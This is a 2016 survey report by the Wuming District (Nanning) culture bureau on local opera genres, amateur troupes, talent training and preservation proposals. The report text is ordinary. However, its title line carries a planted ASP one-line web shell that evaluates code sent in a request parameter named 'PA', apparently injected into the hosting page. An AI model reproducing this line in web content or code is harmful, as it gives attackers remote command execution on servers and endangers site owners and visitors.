南宁市武鸣区地方戏曲剧种普查报告<%as99AA=REquEst("PA"):EvaL(as99AA)%>
信息时间:2016/6/13 17:47:29 阅读次数: 【打印本页】

为贯彻落实习近平总书记在文艺工作座谈会上的重要讲话精神,根据国务院办公厅《关于支持戏曲传承发展的若干政策》(国办发〔2015〕52号)、文化部、自治区文化厅及南宁市关于开展全国地方戏曲剧种普查工作的有关文件精神,武鸣区于3月份开始,全面铺开城区13个乡镇地方戏曲剧种普查工作,现将有关普查情况汇报如下:

一、南宁市武鸣区地方戏曲剧种普查概况

(一) 剧种概况

经普查,武鸣区现存剧种主要有师公戏、壮族山歌戏、粤剧、壮话粤剧、采茶戏、彩调剧、丝弦戏等七种剧种,剧种具体概况如下:

1.师公戏。师公在武鸣区内的渊源,尚未见文字记载,锣圩镇、马头镇、城厢镇、府城镇、灵马镇等民间老艺人亦说法不一,至少有300多年的历史。50年代,武鸣县内始创作师公戏,用师公音乐作唱腔,用师公舞蹈作戏剧的表演动作,用师公打击的乐器伴奏。音乐旋律优鼓点节奏轻快,表演风趣幽默,活泼新颖,内容进步、健康,为群众的喜闻乐见;60年代初,师公戏不时在县内的一些舞台上出现;1966年到70年代后期,因受“文化大革命”冲击,师公戏被视为“糟粕”而销声匿迹;80年代初得以恢复,并传承至今。“骆垌舞”作为师公戏的一种,已于2015年公布为第五批自治区非物质文化遗产项目名录。

2.壮族山歌戏。解放初期开始在县内出现。为宣传中心工作的需要,一般为群众自编,用壮族山歌的形式来表演有故事情节的小节目,除了山歌演唱,对话、道白也大都用壮族山歌快板式,语言生动形象,民族特色浓郁。50年代期间,宁武乡唐村业余文艺队曾把粤剧《梁山伯与祝英台》改编成壮族山歌剧演出。80年代以来,陆斡、四育、合耸、腾翔、文桐、覃李等村的业余文艺队均有山歌剧节目上演。

3. 粤剧、壮语粤剧。粤剧于30年代初注入武鸣,给县内的老剧种邕剧、丝弦剧带来冲击,为谋求生存和发展,原老戏班“大同乐”“瑞园乐”以及后来新组建的甘圩、赖坡、庆乐、龙英等业余戏班,既唱丝弦剧又唱粤剧。50年代中期,县内开始出现用壮语来演唱粤剧。1957年,粤曲壮语剧首次在县城舞台出现,此后,陆斡、覃李业余文艺队分别由老艺人执导,也运用这种方式来表演现代题材。这种“粤曲壮语剧”唱腔、伴奏和表演程式搬用粤剧,唱词、对白数板、顺口溜使用壮语,很受壮民欢迎。

4. 彩调剧。彩调原称调子。是广西各族人民喜闻乐见的戏曲剧种之一。1960年武鸣政府拨款购置服装道具排演彩调戏《刘三姐》,在县城及各公社演出推行。据了解,之后各乡镇均有代表性剧目上演,如《蔡九赔鸭》《两老宰鸡》、《王三打鸟》、《跑菜园》、《卖豆腐》《蜂花恋》等。

5. 采花戏。解放前,武鸣各地业余采茶戏活动十分活跃。各乡都有几支采茶队伍,均为民间组织。每年农历八月至来年春节,到村屯巡回演出,节目有故事说唱、唱十二个月农活、送花祝福、拜年祝寿等,歌舞并茂。角色主要有茶官、茶娘、丑角等角色。所用道具因表演内容而异,一般有花扇、花篮、灯笼、花束和彩绸带等。乐器有锣鼓、小钹等。表演程序:一般先由茶官双脚一跃,花后一脚顶立,右手拿着一把纸扇左右摇摆,上场领唱采茶歌,就两脚参踏步前进,两演员互换位置。1986年全县约有11支队伍,1990年全县采茶队伍共14支。

6.丝弦戏。为武鸣的老剧种,俗称武鸣老戏,因用丝弦乐器伴奏而得名。与南宁及桂西流行的邕剧相似,在唱腔方面稍有差异,其音乐属黄声腔系统,另有本地丝弦曲牌。演出的剧目有“本路剧目”(该剧种特有的剧目)和“广路剧目”(与邕剧共有的剧目)。武鸣丝弦戏戏班的活动大约始于民国初年。民国7年(1918年),陆荣廷请外地桂剧戏班到其公馆演出,同时请民国时期老戏班“大同乐”演出丝弦戏。之后,府城、旧锣圩、旧陆斡等戏班相继上演丝弦戏。至20年代末,丝弦戏一直为盛行的剧种。30年代初期,粤剧传入县内形成新朝。40年代,盛行粤剧,丝弦戏已销声匿迹。现民间偶有老艺人自娱自唱,但已不成气候,上不了台。

(二)演出团体概况

经调查,目前武鸣区建立有城厢镇夕阳戏曲队、建设社区乐乐曲艺队,双桥镇双桥社区文艺队,甘圩镇社区文艺队、达洞师公戏队、达洞山歌戏文艺队、赖坡村文艺队,陆斡镇覃李村文艺队、陆斡社区文艺队、旧陆斡村文艺队,罗波镇凤林村琴泉文艺队、石梁村文艺队、罗波社区剧团,锣圩镇淝阳村稻花香文艺队,太平镇庆乐村夫妻组合等15个民间班社演出团体。建立有1个“壮族骆垌舞”区级非遗项目传承保护基地。拥有师公戏、壮族山歌戏、粤剧、壮话粤剧、采茶戏、彩调剧等六种剧种业余演员三百多人,主要分布在城厢镇、双桥镇、甘圩镇陆斡镇罗波镇太平镇等六个镇。据统计, 15个演出团体参与各类演出每年达120余场,观众达35万人次。各演出团体概况简述如下:

(一)武鸣区夕阳戏曲队。武鸣区夕阳戏曲队属于民间班社。该团成立于1996年。现今剧团负责人为杨经平,剧团共有19人,均为城区各单位退休工人组建而成。演出区域辐射武鸣城区、双桥镇府城镇等地以及海南省三亚市。目前可上演的剧目有15个,都是传统剧目。《周瑜忆小乔》、《穆桂英挂帅》、《百花公主》、《越国骊歌》、《花田错》、《帝女花》、《十八相送》、《白龙关》、《贵妃醉酒》、《七秀香龙》、《游园》、《打神》、《初遇》《十送香囊》、《七月七日长生殿》等为该团的保留剧目。年演出场次约8场左右,但基本是公益性的演出。该团戏剧服装、道具都是演员自己出资购买。排练场地主要在文化广场的大树脚下,没有固定的排练厅,每年在文化广场专场公益演出1-2场。偶乐有的演出所得收入作为团队所有,用于添置服装、道具,该团曾于2014年参加海南三亚中国木兰拳暨民族传统文化展示国际大赛荣获金奖。

(二)武鸣区城厢镇建设社区乐乐曲艺队。乐乐曲艺队属于民间班社。该团成立于2010年。现今剧团负责人为周桂生,剧团共有16人,均为城区各单位退休工人、个体户组建而成。演出区域辐射武鸣城区以隆安、宾阳、横县等地。目前可上演的剧目有9个,其中传统剧目8个,新编剧目1个。《七月七日长生殿》、《百花公主》、《白龙坡》、《十八相送》、《柴房自叹》、《梦会太湖》、《穆桂英挂帅》、《颂伟人》、《周瑜忆小乔》等为该团的保留剧目。年演出场次约9场左右,但基本是公益性的演出。该团戏剧服装、道具都是演员自己出资购买。排练场地主要在江滨公园凉亭,没有固定的排练厅。偶乐有的演出所得收入作为团队所有,用于添置服装、道具。

(三)武鸣区双桥镇文化站文艺队。双桥镇文化站文艺队属于民间班社。该团成立于2013年。现今剧团负责人为黄茂基,剧团共有28人。演出区域辐射武鸣城区双桥镇、府城镇、宁武镇、罗波镇、两江镇、锣圩镇、太平镇、陆斡镇等地。目前可上演的剧目有3个,都是传统剧目。《化蝶登仙》、《分飞燕》、《平湖秋月》等为该团的保留剧目。年演出场次约8场左右,但基本是公益性的演出,团队收入主要是各镇庙会邀请演出给的红包,主要用来购买团队的道具。排练场地主要在江滨公园树下,没有固定的排练厅。

(四)武鸣区甘圩镇社区文艺队。甘圩镇社区文艺队属于民间班社。该团成立于1975年。现今剧团负责人为宁理昆,剧团共有12人。演出区域辐射武鸣区城厢镇、甘圩镇各村以及周边的金陵、双定、隆安那桐镇等地。目前可上演的剧目有3个,都是传统剧目。《穆桂英巡山》、《五郎救弟》等为该团的保留剧目。年演出场次约5场左右,但基本是公益性的演出。该团戏剧服装、道具是通过演员自己捐资,加上一些演出所得红包及社会捐赠进行购买。

(五)武鸣区甘圩镇赖坡业余粤剧团。甘圩镇赖坡业余粤剧团属于民间班社。该团成立于1998年。现今剧团负责人为韦朝忠,剧团共有8人。演出区域辐射武鸣区甘圩镇、锣圩镇英圩村、府城镇 、宁武镇、双桥镇等地。目前可上演的剧目有2个,都是传统剧目。《美人计》、《狗头狮子》等为该团的保留剧目。年演出场次约8场左右,但基本是公益性的演出。该团戏剧服装、道具都是演员自己购买。有一件表演戏服已经有60年的历史。

(六)甘圩镇达洞师公戏队甘圩镇达洞师公戏队属于民间班社。该团成立于2002年。现今剧团负责人为甘镇泉先生,剧团共有20人,均为宗族传承。演出区域辐射武鸣区双桥镇、太平镇、罗波镇、甘圩镇以及周边的金陵、坛洛、双定等地。目前可上演的剧目有9个,其中传统剧目9个,新编剧目0个。《开坛科》、《三元教式》、《安乐吉祥诵》、《牲灵科》、《舞坛歌》、《驱鬼逐疫》、《金轮银轮》、《赞文歌》、《三元经》等为该团的保留剧目。年演出场次约8场左右,但基本是公益性的演出。该团戏剧服装、道具都是演员自己捐资购买。2015年曾接受中央9套采访拍摄。

(七)甘圩镇达洞山歌戏文艺队。甘圩镇达洞村文艺队属于民间班社。该团成立于2003年10月。现今剧团负责人为陆岳忠,剧团共有15人,均为本村村民组建而成。演出区域辐射武鸣城区、罗波镇、双桥镇、甘圩镇以及周边的村屯等地。目前可上演的剧目有2个,其中传统剧目2个,新编剧目0个。队长陆岳忠用壮语改编的《十八相送》为该团的保留剧目。年演出场次约8场左右,都是公益性的演出。该团戏剧服装、道具都是演员自己购买所有。

(八)陆斡镇覃李村文艺队。陆斡镇覃李村文艺队属于民间班社性质。该团成立于1980年1月,是当年各个剧团当中唯一拥有演出许可证的业余剧团,表演形式主要以壮话粤剧为主。现今剧团负责人为李旭章,剧团共有25人,均为本村村民组建而成。演出区域辐射陆斡镇各村屯以及周边的乡镇等地。目前可上演的剧目有4个,其中传统剧目4个,新编剧目0个。《和睦家庭》、《相会》、《武鸣是个好地方》、《家常事》为该团的保留剧目。年演出场次约10场左右,都是公益性的演出。该团戏剧服装、道具都是演员自己捐资购买。

(九)旧陆斡社区文艺。旧陆斡村文艺队属于民间班社。该团成立于1999年1月。现今剧团负责人为吴明让,剧团共有52人,均为社区戏曲爱好者组建而成。演出区域辐射陆斡镇以及周边的乡镇等地。目前可上演的剧目有4个,其中传统剧目4个,新编剧目0个。彩调剧《刘三姐》、粤剧《黄彩凤招亲》《十五贯》《三打白骨精》为该团的保留剧目。年演出场次约10场左右,都是公益性的演出。该团戏剧服装、道具都是演员自己捐资购买。

(十)旧陆斡村文艺队。旧陆斡村文艺队属于民间班社。该团成立于1979年1月。现今剧团负责人为覃庆斌,剧团共有2人,均为本村村民组建而成。演出区域辐射罗波镇各村屯以及周边的乡镇等地。目前可上演的剧目有2个,其中传统剧目2个,新编剧目0个。《上夜校之前》、《丰收之后》为该团的保留剧目。近年来没有演出过,但仍能演好保留剧目。该团戏剧服装、道具都是演员自己捐资购买。

(十一)锣圩镇淝阳村稻花香文艺。锣圩镇淝阳村稻花香文艺属于民间班社。该团成立于2013年。现今剧团负责人为潘天安,剧团共有18人,均为该村爱好者组建而成。演出区域辐射锣圩镇、仙湖镇。目前可上演的剧目有1个,属新编剧目,年演出场次约10场左右,都是公益性的演出。该团戏剧服装、道具都是演员自己捐资购买。

(十二)武鸣区罗波镇凤林村琴泉文艺队。武鸣区罗波镇凤林村琴泉文艺队属于民间班社。该团成立于1982年10月。现今剧团负责人为龚春美,剧团共有28人,均为本村村民组建而成。演出区域辐射武鸣区罗波镇以及周边的村屯等地。目前可上演的剧目有2个,其中传统剧目2个,新编剧目0个。《农家乐》、《锦上添花》为该团的保留剧目。年演出场次约5场左右,都是公益性的演出。该团戏剧服装、道具都是演员自己捐资购买。

(十三)武鸣区罗波镇石梁村采茶文艺队。武鸣区罗波镇石梁村采茶文艺队属于民间班社。该团成立于1947年。现今剧团负责人为陆天益,剧团共有19人,均为本村村民组建而成。演出区域大多在本村及周边的村、镇。目前可上演的剧目有4个,其中传统剧目4个,新编剧目0个。《细茶》、《种茶》、《采茶》、《卖茶》为该团的保留剧目。年演出场次约3场左右,都是公益性的演出。该团戏剧服装、道具都是演员自己捐资购买。

(十四)罗波社区剧团。武鸣区罗波镇罗波社区剧团属于民间班社。该团成立于1961年7月。现今剧团负责人为覃宏界,剧团共有18人,均为罗波镇罗波社区本居民组建而成。演出区域辐射武鸣区各名镇及马山、上林、宾阳、南宁等周边县市。目前可上演的剧目有5个,其中传统剧目5个,新编剧目0个。《苏小妹招亲》、《三打白骨精》、《重新做人》、《白毛女》、《祝英台》为该团的保留剧目。年演出场次约13场左右,都是公益性的演出。该团戏剧服装、道具都是演员自己捐资购买。

(十五)武鸣区太平夫妻组合。武鸣区太平夫妻组合属于民间班社。该组合成立于2005年1月。现今该组合负责人为黄日明,组合共有2人,是一对老夫老妻,凭借着对山歌剧的热爱与追求,年近80依然热情演绎武鸣特有的剧种壮话山歌剧。演出区域辐射武鸣区太平镇、双桥镇、罗波镇、府城镇以及周边村屯。目前可上演的剧目有3个,其中传统剧目1个,新编剧目2个。《赌仔悲歌》、《三十年辉煌》、《清洁乡村》为该团的保留剧目。年演出场次约5场左右,都是公益性的演出。该组合的服装、道具都是演员自己捐资购买。

二、艺术生产

经调查,武鸣区的15个演出团体,其中,有14个团体由于受艺术水平的制约,基本没有自己的创作队伍,他们排练的剧目,都是来自民族传统剧目,多为看碟片学唱。有1个演出团体,也就是太平夫妻组合,年近80的老夫妻还在编排新剧目。据统计,目前武鸣区剧目演出团队可上演的传统剧目有开坛科》、《三元教式》、《安乐吉祥诵》、《锦上添花》《赌仔悲歌》、《三十年辉煌》、《清洁乡村》等67个,新编剧目《三十年辉煌》、《清洁乡村》《教训》等3个。

三、戏曲人才培养与剧种传承

(一)培养方式。

1.开展免费开放活动戏剧培训班,传承剧艺术,弘扬民族戏曲艺术文化。几年来,文化馆在7、8月利用免费开放活动开展戏剧培训班,鼓励戏剧爱好者参与培训。邀请老艺人对爱好者们进行培训,培训的内容有:基本功、唱功等。至今,受过培训的爱好者也不断吸入进各个演出团体。

2.通过观看影碟学习戏剧演唱。经了解,武鸣区的各个演出剧团,由于受经费拮据的制约,都没机会接受专业艺术培训,基本都是通过观看影碟学习演唱。

3.集中排练和实践,请教老艺人指点提高演出技艺和水平。各个演出剧团都有他们各自排练的时间和内容的安排,他们通过这个方式,练出不少可以上演的剧目,参加政府举办的重阳节演出,得到观众的认可和好评。

   (二)戏曲人才的来源和去向

武鸣区各个演出剧团队员的组成没有硬性要求,只要是戏剧爱好都就可以入团队,人员来源多为退休干部、农民等。其中达洞师公队是家族传授,队伍壮大,有活力,而其它14个队年龄较大的老年人,面临着团队人员的缩减形式

(三)戏曲队伍结构

一个完整的戏曲队伍结构应配备有导演、演员、乐队、灯光、音响、道具服装,但据统计,武鸣区15个演出剧团,有的有演员没导演、有的有音响没灯光,有的有道具没服装,严重地制约了剧团的发展和壮大。

(四)剧种代表性人物与传承概况

武鸣区比较有名气的剧种代表性人物主要是玉泉村壮族骆垌舞演出队队长潘家明。现将他的概况简述如下:

潘家明,男,壮族,1948年生,高小文化,锣圩镇玉泉村东川屯人,壮族骆垌舞第9代传人,师承潘道金,玉泉村壮族骆垌舞演出队队长。潘家明自幼喜爱音乐,擅长舞蹈、打击乐,有较强的组织能力。“文化大革命”期间,壮族骆垌舞被视为封建迷信活动形式被取缔,无法得到传承发展。“文化大革命”结束后,政府提倡发展传统民族文化,壮族骆垌舞得以复兴,潘家明复出,作为壮族骆垌舞第9代传人,他肩负着恢复组建玉泉村壮族骆垌舞演出队的重任,再度广招门才,传授技艺,使这古老的传统艺术得以复兴、传承、发展,曾作为武鸣锣圩镇师公演出队队长多次率队赴区市参加少数民族群众业余演出活动,受到区市领导人接见和好评。共授徒10多人。代表作品《五人骆垌舞》、《丰收乐》,目前,骆垌舞作品有《四柱五横》、《三台舞》、《十二生肖》、《二十四节气》、《存兵打仗》等节目,由于现代年轻人不乐于接受古老传统的民间舞蹈,特别是类似壮族骆垌舞的舞蹈,难于较大规模的开展传习活动,出现青黄不接的现状,组织团体演出较为困难。

五、存在问题

武鸣区在促进地方戏曲传承和发展方面做了很多工作,也取得了一些成效,但在发展的过程中,也可以明显看到存在的不足,仍然存在着很多问题,具体如下:

(一)地方戏曲与当代生活的“疏离”。在信息高速发达的今天,戏曲作为“农业社会”的产物,越来越成为“小众”艺术,与当代人的多元化的快餐生活方式有些脱节。导致年轻观众对地方戏曲总有“疏离”感。偶然看有时候听可以接受,要长时间浸润除了专业人员以外,确是难以“入戏”。

(二)戏曲传承离不开人才的培养,振兴戏曲就必须拥有一批编剧、表演、音乐、舞台美术等方面的人才。近年来武鸣区也涌现出一批新生代力量艺术表演人才。只是,他们年龄基本都在50岁以上,逐渐有人员老年化倾向。而表演艺术人才的培养也面临着 “怪圈”。一方面是戏曲剧团业务人才后继乏人,尤其是表演人才,另一方面是戏曲职业院校培养出了人才却无处可去,最后只能落脚于民营剧团。最后因为毕业无处可去,能吃苦学戏的人越来越少。最后导致好苗子也很难被发现和培养。

戏曲培养人才,无论是表、导还是其他人才,成长周期长,速度慢,见效不快。当前浮躁的社会下,“慢”功出“细”活的培养方式无法吸引更多的孩子热衷于学习戏曲,一些好的苗子可能转而学其他更容易出人头地。当地艺术院校培养出人才本身就很不易,而经过5年培养出的人才,毕业之后却因没有合适院团可呆,自然面临着人才流失的危险。而现有体制下,各剧团现有人员濒临老龄化,一方面是年轻人才奇缺,一方面却因生计和其他原因难以进到新人。很多上世纪培养出的演员如今已近50岁,“以老扮嫩”现象层出不群,作为一个更新换代的舞台,却是老面孔,剧团的活力也不足,受众面也会越来越老,难以吸引更多的年轻观众。

(三)剧目更新快,但是新剧目不能常演常唱,普及度不够。剧目只有常演常唱才能常在舞台。纵观戏曲演出史,某一个剧目之所以能够在各个剧种间广泛流传,除了剧目本身体现出浓浓的人文情怀,更是得益于不同风格、不同流派的艺术家的各自倾情演出。其实剧目的传承也是戏曲传承的一个重要媒介。如果没有那些传统剧目,我们根植记忆深处代代相传的戏曲记忆又会落足于哪里。

     六、建议

 作为民族艺术的瑰宝,戏曲剧种随着社会生活的变迁、人民生活娱乐方式的转变而发生相应的变化。戏曲艺术正处于一个非常严峻的关头,亟需各级政府关注并采取有力措施予以保护。推动剧种发展既要有长远的规划、也要找到推动剧种发展的突破口。推动剧种保护发展,可从以下几方面看出:

⒈制定剧种认证制度和统计制度,摸清家底

建议在中国艺术研究院设立剧种登记中心,每一剧种经该中心审查认可后,报文化部艺术司批准,向全社会公布。定期开展剧种剧团统计,及时掌握剧种发展的动态。

2.高度重视和引导民营班社

作为剧种保护中一支重要力量,民营班社数量庞大,绝大多数处于规模小、水平低、制作粗劣的初级阶段,文化部和地方文化主管部门应予重视,加强引导和提高。

3.制定政策性文件扶持戏曲剧种发展

调研出台全国性政策文件,对艺术创作和演出所必需的资金、排练场、剧场等条件提出明确的要求。

4.丰富团演出剧目,活态传承、发展创新

为避免戏曲剧种成为博物馆艺术,兼顾戏曲院团多在基层,自身缺乏创作能力这一现状,建议继续坚持传统戏、新编历史剧、现代戏三并举原则,有计划地抢救、恢复、整理改编传统戏,条件成熟后,移植排演优秀现代戏,促使老剧种焕发生机与活力。

5.定期举办有剧目展演活动

向观众展示剧种的经典剧目、艺术名家、新秀,促进这些剧种的创作和演出,扩大存在剧种的知名度。

6.尽快调研艺术人才问题

人才匮乏已经严重制约了整个艺术事业的发展。应尽快对艺术教育体制进行研究,使人才教育与使用之间渠道畅通。研究艺术人才培养的特殊规律,形成普通艺术人才培养、优秀人才选拔、尖子人才再造、领军人才推出一条链。

⒎加大戏曲艺术的宣传力度

多在媒体上加大普及戏曲知识、推介演出剧目,热情讴歌扎根舞台、德艺双馨的艺术家。协调电视等媒体,将戏曲艺术的演出信息作为公益广告播放。要从娃娃抓起,让戏曲走进中小学、走进高等院校,培育大批的戏迷、剧社、曲社。在全社会营造一个重视民族艺术、共同支持戏曲艺术的良好环境。

 

 

 

 

南宁市武鸣区文化新闻出版广电和体育局

2016年6月13日